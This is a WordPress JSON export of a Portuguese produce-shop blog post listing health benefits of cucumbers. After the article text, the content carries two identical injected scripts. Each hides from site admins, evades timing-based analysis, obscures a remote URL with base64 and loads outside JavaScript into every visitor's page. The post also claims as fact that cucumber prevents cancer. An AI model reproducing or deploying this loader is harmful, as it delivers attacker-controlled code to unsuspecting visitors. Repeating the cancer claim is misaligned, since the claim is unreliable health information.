{"id":201,"date":"2021-08-05T14:18:50","date_gmt":"2021-08-05T17:18:50","guid":{"rendered":"http:\/\/ceagguarulhos.com.br\/blog2\/?p=201"},"modified":"2026-06-10T05:31:39","modified_gmt":"2026-06-10T08:31:39","slug":"beneficios-do-pepino","status":"publish","type":"post","link":"https:\/\/ceagguarulhos.com.br\/blog2\/2021\/08\/05\/beneficios-do-pepino\/","title":{"rendered":"Benef\u00edcios do Pepino"},"content":{"rendered":"\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"5\" src=\"http:\/\/ceagguarulhos.com.br\/blog2\/wp-content\/uploads\/2020\/04\/faixa-ceag-1024x5.png\" alt=\"\" class=\"wp-image-26\" srcset=\"https:\/\/ceagguarulhos.com.br\/blog2\/wp-content\/uploads\/2020\/04\/faixa-ceag-1024x5.png 1024w, https:\/\/ceagguarulhos.com.br\/blog2\/wp-content\/uploads\/2020\/04\/faixa-ceag-300x1.png 300w, https:\/\/ceagguarulhos.com.br\/blog2\/wp-content\/uploads\/2020\/04\/faixa-ceag-768x3.png 768w, https:\/\/ceagguarulhos.com.br\/blog2\/wp-content\/uploads\/2020\/04\/faixa-ceag-1536x7.png 1536w, https:\/\/ceagguarulhos.com.br\/blog2\/wp-content\/uploads\/2020\/04\/faixa-ceag-2048x9.png 2048w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">O pepino tem baixa caloria, \u00e9 nutritivo, rico em \u00e1gua, minerais e antioxidantes, proporcionando diversos benef\u00edcios \u00e0 sa\u00fade. Al\u00e9m de ajudar a emagrecer, o pepino previne o c\u00e2ncer.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Separamos mais alguns outros benef\u00edcios que o pepino proporciona:<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\ud83e\udd52 O pepino ajuda a emagrecer, pois d\u00e1 a sensa\u00e7\u00e3o de saciedade;<br>\ud83e\udd52 Melhora a sa\u00fade do cora\u00e7\u00e3o, por ser rico em pot\u00e1ssio;<br>\ud83e\udd52 Previne o c\u00e2ncer, por ser rico em flavonoides e lignanas, que s\u00e3o antioxidantes poderosos;<br>\ud83e\udd52 Melhora o tr\u00e2nsito intestinal;<br>\ud83e\udd52 Melhora a circula\u00e7\u00e3o sangu\u00ednea, por ter baixo n\u00edvel de gorduras e rico em \u00e1gua;<br>\ud83e\udd52 Melhora a contra\u00e7\u00e3o e sa\u00fade muscular, por conter magn\u00e9sio e pot\u00e1ssio;<br>\ud83e\udd52 Melhora a sa\u00fade da pele, unhas, olhos e cabelo, por conter antioxidantes e carotenoides;<br>\ud83e\udd52 Mant\u00e9m a hidrata\u00e7\u00e3o, por ser feito principalmente de \u00e1gua.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Voc\u00ea consome pepino periodicamente? N\u00e3o? Que tal melhorar a sua sa\u00fade consumindo?<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Gostaria de mais detalhes e informa\u00e7\u00f5es sobre os benef\u00edcios de outras frutas, legumes e verduras? Veja mais aqui no nosso BLOG e nos siga no Instagram: <a href=\"https:\/\/www.instagram.com\/ceagatacadohortifruti\/\">https:\/\/www.instagram.com\/ceagatacadohortifruti\/<\/a><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Aqui no CEAG Hortifruti temos ampla variedade e qualidade nas nossas frutas. \ud83c\udf47\ud83e\udd6d\ud83c\udf4a\ud83c\udf4e\ud83c\udf49\ud83c\udf4d\ud83c\udf4f\ud83c\udf50\ud83c\udf4c\ud83c\udf53\ud83c\udf52\ud83c\udf51<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/www.instagram.com\/explore\/tags\/vemproceag\/\">#VEMPROCEAG<\/a><br><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Fonte: Cura.<\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","protected":false},"excerpt":{"rendered":"<p>O pepino tem baixa caloria, \u00e9 nutritivo, rico em \u00e1gua, minerais e antioxidantes, proporcionando diversos benef\u00edcios \u00e0 sa\u00fade. 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